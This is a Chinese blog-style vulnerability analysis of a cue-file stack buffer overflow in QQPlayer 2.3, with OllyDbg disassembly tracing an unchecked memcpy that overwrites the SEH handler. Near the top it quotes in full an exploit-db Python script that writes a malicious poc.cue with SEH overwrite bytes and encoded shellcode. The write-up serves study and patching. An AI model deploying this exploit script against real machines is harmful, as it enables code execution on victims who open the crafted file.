文件标题:QQPlayer 2.3 cue文件缓冲区溢出漏洞简单分析
作者:ReverseMan(http://hi.baidu.com/reverseman)
QQ:705122552
Email:fanxinghua2314@126.com

本文目录:
1、  发发牢骚
2、  漏洞原文
3、  调试环境
4、  CUE文件格式简介
5、  分析过程
6、  结果截图
7、  总结分析




1、发发牢骚
近日从exploit-db上看到了QQplayer的漏洞,受影响的版本主要是2.3以及以下的版本,官方最新的版本已经是2.4了。由于学习逆向不久,也基本上没有什么能够拿得出手的文章。再加上刚毕业入职,工作还不是很紧张。所以,闲暇之余萌生了分析一下这个漏洞的想法。由于本人入门不久,水平菜之又菜,只是一边分析一边学习的。中间不可避免有错误甚至是方向性的错误产生,还望多多海涵并批评指正。本文菜文,大牛飞过即可。
首先附上exploit-db上的相关信息:
2、漏洞原文

代码:
#!/usr/bin/env python
 
#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :
 
head = '''FILE "'''
junk = "A" * 780
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o"           "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41"           "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK"           "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")
junk_="R"*8000
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
print len(shellcode)+len(adjust)+8+780-len("1S905A4D802Z5DOO01")
 
fobj = open("poc.cue","w")
fobj.write(payload)
fobj.close()
3、调试环境OS:windows xp sp3
Tools: OllyDbg1.1 NotePad 
Target:QQPlayer 2.3  696

4、CUE文件格式简介    CUE文件是一种文本文件,主要是用作存放播放中的一些信息,这些信息用来帮助音频软件更好的控制播放进度以及其他一些附加的信息。在光盘文件中,它可以指挥刻录软件刻什么格式,刻录那些内容,从哪里开始,到哪里结束,附加什么信息等等。有了cue文件,既可以减少刻录的准备工作以提高刻录效率,又可以保证刻录的准确性。
CUE文件有一些关键的字段,下面介绍下各个字段的作用,本部分主要内容来自百度百科,更详细的内容请参考其上的内容。
第一行是:CATALOG
这个CATALOG是一个媒体编目码(Media Catalog Number),必须是13位阿拉伯数字,一般与唱片的UPC(商品条形码)相对应。该字段可选。
第二行是:PERformER
这个PERformER是指整个唱片的表演家的名字。必须用双引号括起来。这一行也是可选的。
第三行是:TITLE 
TITLE是指唱片的名字。必须用双引号括起来。这一行也是可选的。
第四行是:FILE
FILE就是要播放的文件路径了,可以上绝对路径也可以是相对路径。该字段后面的文件路径用双引号括起来。并且该字段不可省略。
第五行是:TRACK 01 AUDIO 
这一行很关键,它表示当前刻录那个光轨、光轨的类型。这里表示是第一个光轨,AUDIO表示光轨的类型是音频。当中这个数字必须是从01开始的2位阿拉伯数字,顺序排列,绝不可以跳跃、空缺或重复,一定是:01、02、03、04…..这样下去,直到结束。
第六、七行是指该曲目的表演家、曲目的名字,这两行都是可选的,也可以只有其中的一个。 
第八行INDEX 
这行表示光轨中段落的索引号。

从以上CUE文件格式分析可以得知,QQPlayer在验证.cue文件格式的时候会首先判断必选字段FILE是否存在以及后面的文件路径是否正确等。
理解上述内容,有助于我们理解下面的分析过程。
5、分析过程OD附加QQplayer主程序,并对CreateFileW下断。打开Poc.cue,OD断在CreateFileW处,Alt+F9返回主程序空间。可以看到如下的代码:

代码:
0042BBFC    FF15 BC4F9800   call dword ptr ds:[<&MSVCR80.fopen>]                                                               ; MSVCR80.fopen
0042BC02    83C4 14         add esp,14
0042BC05    3BC7            cmp eax,edi
0042BC07    8946 04         mov dword ptr ds:[esi+4],eax
0042BC0A    0F84 BB000000   je QQPlayer.0042BCCB
0042BC10    8B9424 24010000 mov edx,dword ptr ss:[esp+124]
0042BC17    8B7A F4         mov edi,dword ptr ds:[edx-C]
0042BC1A    6A 2E           push 2E
0042BC1C    8D8C24 28010000 lea ecx,dword ptr ss:[esp+128]
0042BC23    FF15 6C4C9800   call dword ptr ds:[<&MFC80U.#5524_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306777
0042BC29    2BF8            sub edi,eax
0042BC2B    57              push edi
0042BC2C    8D4424 0C       lea eax,dword ptr ss:[esp+C]
0042BC30    50              push eax
0042BC31    8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C]
0042BC38    FF15 904C9800   call dword ptr ds:[<&MFC80U.#5558_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306AF3
0042BC3E    8D4C24 08       lea ecx,dword ptr ss:[esp+8]
0042BC42    C68424 1C010000>mov byte ptr ss:[esp+11C],7
0042BC4A    FF15 A44C9800   call dword ptr ds:[<&MFC80U.#4074_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.783067C3
0042BC50    50              push eax
0042BC51    8D4C24 0C       lea ecx,dword ptr ss:[esp+C]
0042BC55    FF15 B04C9800   call dword ptr ds:[<&MFC80U.#774_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.7830609C
0042BC5B    68 78579800     push QQPlayer.00985778                                                                             ; UNICODE ".m3u",如果是.m3u文件
0042BC60    8D4C24 0C       lea ecx,dword ptr ss:[esp+C]
0042BC64    FF15 804C9800   call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BC6A    85C0            test eax,eax
0042BC6C    75 09           jnz short QQPlayer.0042BC77
0042BC6E    8BCE            mov ecx,esi
0042BC70    E8 CBF6FFFF     call QQPlayer.0042B340
0042BC75    EB 3D           jmp short QQPlayer.0042BCB4
0042BC77    68 6C579800     push QQPlayer.0098576C                                                                             ; UNICODE ".cue",如果是.cue文件
0042BC7C    8D4C24 0C       lea ecx,dword ptr ss:[esp+C]
0042BC80    FF15 804C9800   call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BC86    85C0            test eax,eax
0042BC88    75 10           jnz short QQPlayer.0042BC9A                                                                        ;未跳转,进入下面的函数
0042BC8A    8BCE            mov ecx,esi
0042BC8C    E8 AFEAFFFF     call QQPlayer.0042A740                                                                             ;跳转到此处
0042BC91    8BCE            mov ecx,esi
0042BC93    E8 38EEFFFF     call QQPlayer.0042AAD0
0042BC98    EB 1A           jmp short QQPlayer.0042BCB4
0042BC9A    68 60579800     push QQPlayer.00985760                                                                             ; UNICODE ".asx",如果是.asx文件
0042BC9F    8D4C24 0C       lea ecx,dword ptr ss:[esp+C]
0042BCA3    FF15 804C9800   call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BCA9    85C0            test eax,eax
0042BCAB    75 07           jnz short QQPlayer.0042BCB4
0042BCAD    8BCE            mov ecx,esi
0042BCAF    E8 4CF4FFFF     call QQPlayer.0042B100
0042BCB4    8B4E 04         mov ecx,dword ptr ds:[esi+4]
0042BCB7    51              push ecx
0042BCB8    FF15 B84F9800   call dword ptr ds:[<&MSVCR80.fclose>]                                                              ; MSVCR80.fclose
0042BCBE    83C4 04         add esp,4
0042BCC1    8D4C24 08       lea ecx,dword ptr ss:[esp+8]
0042BCC5    FF15 BC4C9800   call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092
0042BCCB    8D8C24 24010000 lea ecx,dword ptr ss:[esp+124]
0042BCD2    FF15 BC4C9800   call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092
0042BCD8    8B8C24 14010000 mov ecx,dword ptr ss:[esp+114]
0042BCDF    5F              pop edi
0042BCE0    8BC6            mov eax,esi
0042BCE2    64:890D 0000000>mov dword ptr fs:[0],ecx
0042BCE9    5E              pop esi
0042BCEA    81C4 18010000   add esp,118
0042BCF0    C2 0400         retn 4
以上代码只是QQPlayer判断文件格式的地方,为了看得更加清楚,所以代码全部粘贴上来了。
跳转到QQPlayer.0042A740如下:

代码:
0042A740    6A FF           push -1
0042A742    68 389D6700     push QQPlayer.00679D38
0042A747    64:A1 00000000  mov eax,dword ptr fs:[0]
0042A74D    50              push eax
0042A74E    64:8925 0000000>mov dword ptr fs:[0],esp
0042A755    83EC 54         sub esp,54
0042A758    53              push ebx
0042A759    56              push esi
0042A75A    B8 01000000     mov eax,1
0042A75F    894424 0C       mov dword ptr ss:[esp+C],eax
0042A763    894424 08       mov dword ptr ss:[esp+8],eax
0042A767    A1 B0569800     mov eax,dword ptr ds:[9856B0]
0042A76C    8D5424 28       lea edx,dword ptr ss:[esp+28]
0042A770    8BF1            mov esi,ecx
0042A772    8A0D B4569800   mov cl,byte ptr ds:[9856B4]
0042A778    52              push edx
0042A779    894424 14       mov dword ptr ss:[esp+14],eax
0042A77D    6A 04           push 4
0042A77F    8D4424 18       lea eax,dword ptr ss:[esp+18]
0042A783    33DB            xor ebx,ebx
0042A785    884C24 1C       mov byte ptr ss:[esp+1C],cl
0042A789    50              push eax
0042A78A    8BCE            mov ecx,esi
0042A78C    895C24 34       mov dword ptr ss:[esp+34],ebx
0042A790    895C24 38       mov dword ptr ss:[esp+38],ebx
0042A794    E8 37BBFFFF     call QQPlayer.004262D0                   ; 验证文件格式,文件开始是否是 “FILE”
0042A799    85C0            test eax,eax
0042A79B    0F85 14030000   jnz QQPlayer.0042AAB5
0042A7A1    8B4C24 28       mov ecx,dword ptr ss:[esp+28]
0042A7A5    8B56 04         mov edx,dword ptr ds:[esi+4]
0042A7A8    57              push edi
0042A7A9    8B3D E44F9800   mov edi,dword ptr ds:[<&MSVCR80.fseek>]  ; MSVCR80.fseek
0042A7AF    53              push ebx
0042A7B0    51              push ecx
0042A7B1    52              push edx
0042A7B2    FFD7            call edi                                 ; 移动文件指针到字符串‘FILE’后,以方便后面进行后续的验证
0042A7B4    83C4 0C         add esp,0C
0042A7B7    8D4424 2C       lea eax,dword ptr ss:[esp+2C]
0042A7BB    50              push eax
0042A7BC    8D4E 08         lea ecx,dword ptr ds:[esi+8]
0042A7BF    51              push ecx
0042A7C0    6A 22           push 22
0042A7C2    8BCE            mov ecx,esi
0042A7C4    E8 47ADFFFF     call QQPlayer.00425510                   ; 进入此函数
0042A7C9    85C0            test eax,eax
0042A7CB    0F85 E3020000   jnz QQPlayer.0042AAB4
CALL进入QQPlayer.00425510如下:




代码:
00425510    64:A1 00000000  mov eax,dword ptr fs:[0]
00425516    6A FF           push -1
00425518    68 DC996700     push QQPlayer.006799DC
0042551D    50              push eax
0042551E    64:8925 0000000>mov dword ptr fs:[0],esp
00425525    81EC 1C040000   sub esp,41C                                               ; 分配栈空间大小为 0x41C,十进制 1052
0042552B    53              push ebx
0042552C    8B1D E44F9800   mov ebx,dword ptr ds:[<&MSVCR80.fseek>]                   ; MSVCR80.fseek
00425532    56              push esi
00425533    8BB424 3C040000 mov esi,dword ptr ss:[esp+43C]                            ;参数3
0042553A    57              push edi
0042553B    8BF9            mov edi,ecx
0042553D    8D49 00         lea ecx,dword ptr ds:[ecx]
00425540    8B47 04         mov eax,dword ptr ds:[edi+4]                              ; [edi+4]存放文件指针
00425543    50              push eax
00425544    6A 01           push 1                                                    ; 每次读取大小
00425546    8D4C24 20       lea ecx,dword ptr ss:[esp+20]
0042554A    6A 01           push 1                                                    ; 读取次数
0042554C    51              push ecx                                                  ; 读取内容的缓冲区地址
0042554D    FF15 DC4F9800   call dword ptr ds:[<&MSVCR80.fread>]                      ; 函数功能:每次读取一个字节,用于寻找文件路径开始标志--->字符 ‘“’
00425553    83C4 10         add esp,10                                                ; 平衡堆栈
00425556    83F8 01         cmp eax,1
00425559    0F85 51010000   jnz QQPlayer.004256B0                                     ; 已经读取到文件开始处,则跳转
0042555F    8A9424 38040000 mov dl,byte ptr ss:[esp+438]                              ; 读取特征值字符,下面进行匹配
00425566    385424 18       cmp byte ptr ss:[esp+18],dl                               ; 是否是文件路径开始符号'"'
0042556A    74 29           je short QQPlayer.00425595                                ; 是,则跳转到下面函数读取路径
0042556C    0106            add dword ptr ds:[esi],eax
0042556E    8B06            mov eax,dword ptr ds:[esi]
00425570    6A 00           push 0
00425572    8356 04 00      adc dword ptr ds:[esi+4],0
00425576    8B57 04         mov edx,dword ptr ds:[edi+4]
00425579    8B4E 04         mov ecx,dword ptr ds:[esi+4]
0042557C    50              push eax
0042557D    52              push edx
0042557E    894C24 20       mov dword ptr ss:[esp+20],ecx
00425582    FFD3            call ebx
00425584    8B47 04         mov eax,dword ptr ds:[edi+4]
00425587    50              push eax
00425588    FF15 E04F9800   call dword ptr ds:[<&MSVCR80.feof>]                       ; 判断是否到达文件末尾
0042558E    83C4 10         add esp,10
00425591    85C0            test eax,eax
00425593  ^ 74 AB           je short QQPlayer.00425540
00425595    55              push ebp
00425596    33ED            xor ebp,ebp
00425598    8B4F 04         mov ecx,dword ptr ds:[edi+4]                              ; 读取文件指针
0042559B    51              push ecx
0042559C    6A 01           push 1
0042559E    8D5C2C 24       lea ebx,dword ptr ss:[esp+ebp+24]
004255A2    6A 01           push 1
004255A4    53              push ebx                                                  ; 存放文件路径的缓冲区地址
004255A5    FF15 DC4F9800   call dword ptr ds:[<&MSVCR80.fread>]                      ; 每次读取一个字节,直到碰到文件路径结束符 '"'
004255AB    83C4 10         add esp,10
004255AE    83F8 01         cmp eax,1
004255B1    0F85 FE000000   jnz QQPlayer.004256B5
004255B7    8A9424 3C040000 mov dl,byte ptr ss:[esp+43C]
004255BE    3813            cmp byte ptr ds:[ebx],dl                                  ; 是否是文件路径结束符 '"'
004255C0    74 14           je short QQPlayer.004255D6
004255C2    8B47 04         mov eax,dword ptr ds:[edi+4]
004255C5    50              push eax
004255C6    83C5 01         add ebp,1                                                 ; 记录读取的文件路径长度,读取结束时此值为 0x420 ,大于函数的栈空间 0x41C 。发生溢出
004255C9    FF15 E04F9800   call dword ptr ds:[<&MSVCR80.feof>]                       ; 是否到达文件末尾
004255CF    83C4 04         add esp,4
004255D2    85C0            test eax,eax
004255D4  ^ 74 C2           je short QQPlayer.00425598
004255D6    68 04010000     push 104                                                  ; 0x104 十进制大小260 ,文件路径存放缓冲区大小
004255DB    8D8C24 24010000 lea ecx,dword ptr ss:[esp+124]                            ; 文件路径缓冲区地址
004255E2    6A 00           push 0
004255E4    51              push ecx
004255E5    E8 40541900     call <jmp.&MSVCR80.memset>                                ; 缓冲区填 0
004255EA    55              push ebp
004255EB    8D5424 2C       lea edx,dword ptr ss:[esp+2C]
004255EF    52              push edx
004255F0    8D8424 34010000 lea eax,dword ptr ss:[esp+134]
004255F7    50              push eax
004255F8    E8 27541900     call <jmp.&MSVCR80.memcpy>                                ; 没有判断路径长度即进行拷贝,发生溢出,并覆盖了SEH地址
004255FD    8B3D 80419800   mov edi,dword ptr ds:[<&KERNEL32.MultiByteToWideChar>]    ; kernel32.MultiByteToWideChar
00425603    83C4 18         add esp,18
00425606    6A 00           push 0
00425608    6A 00           push 0
0042560A    6A FF           push -1
0042560C    8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C]
00425613    51              push ecx
00425614    6A 00           push 0
00425616    6A 00           push 0
00425618    FFD7            call edi                                                  ; 计算转换前所需要的空间大小
0042561A    68 06020000     push 206
0042561F    8D9424 2A020000 lea edx,dword ptr ss:[esp+22A]
00425626    6A 00           push 0
00425628    52              push edx
00425629    8BD8            mov ebx,eax
0042562B    66:C78424 30020>mov word ptr ss:[esp+230],0
00425635    E8 F0531900     call <jmp.&MSVCR80.memset>
0042563A    83C4 0C         add esp,0C
0042563D    53              push ebx
0042563E    8D8424 28020000 lea eax,dword ptr ss:[esp+228]
00425645    50              push eax
00425646    6A FF           push -1
00425648    8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C]
0042564F    51              push ecx
00425650    33DB            xor ebx,ebx
00425652    53              push ebx
00425653    53              push ebx
00425654    FFD7            call edi                                                  ; 调用MultiByteToWideChar将窄字符转换成宽字符
00425656    8D9424 24020000 lea edx,dword ptr ss:[esp+224]
0042565D    52              push edx
0042565E    8D4C24 14       lea ecx,dword ptr ss:[esp+14]
00425662    FF15 B84C9800   call dword ptr ds:[<&MFC80U.#283_ATL::CStringT<wchar_t,St>; MFC80U.78305D94
00425668    8B8C24 40040000 mov ecx,dword ptr ss:[esp+440]
0042566F    8D4424 10       lea eax,dword ptr ss:[esp+10]
00425673    50              push eax
00425674    899C24 38040000 mov dword ptr ss:[esp+438],ebx
0042567B    FF15 B04C9800   call dword ptr ds:[<&MFC80U.#774_ATL::CStringT<wchar_t,St>; MFC80U.7830609C;CStringT类的重载等号操作符内执行时引发异常,
                                                                                                     ;导致被覆盖过的SEH异常处理函数被调用,shellcode得已执行
00425681    83C5 02         add ebp,2
00425684    012E            add dword ptr ds:[esi],ebp
00425686    8D4C24 10       lea ecx,dword ptr ss:[esp+10]
0042568A    115E 04         adc dword ptr ds:[esi+4],ebx
0042568D    FF15 BC4C9800   call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,St>; MFC80U.78306092
00425693    33C0            xor eax,eax
00425695    5D              pop ebp
00425696    8B8C24 28040000 mov ecx,dword ptr ss:[esp+428]
0042569D    5F              pop edi
0042569E    5E              pop esi
0042569F    5B              pop ebx
004256A0    64:890D 0000000>mov dword ptr fs:[0],ecx
004256A7    81C4 28040000   add esp,428
004256AD    C2 0C00         retn 0C
可以看到在地址004255F8处调用memcpy的时候对复制的内容大小进行判断,并且存放文件路径的缓冲区地址位于该函数的栈空间上,并且使用了MAX_PATH 这个大小为260的宏定义。在进行字符串拷贝之前,栈空间即已经被破坏。

6、结果截图

OD中 Alt + V选择“SHE Chain”,查看栈溢出之前的SHE结构
覆盖前的SHE链如下:


覆盖之后的栈结构:


 
相应的栈视图如下:


 
内存视图如下:
 


最终的溢出结果如下:


8、  总结分析:
由于QQPlayer官方已经升级,故我们只要升级至最新版本,即可防止该漏洞的威胁。从我学习别人的分析文章以及自己少量的自我研究中发现,一些C系列的函数,比如memcpy、strcpy等仍然是造成溢出漏洞的主要客户。因此,作为程序员,我们应该在认识到漏洞发生的本质的时候,提高自己对这类函数的警惕性,并在编程过程中加以注意应该能够在一定程度上提高自己产品的安全性。


最后,欢迎任何形式的转载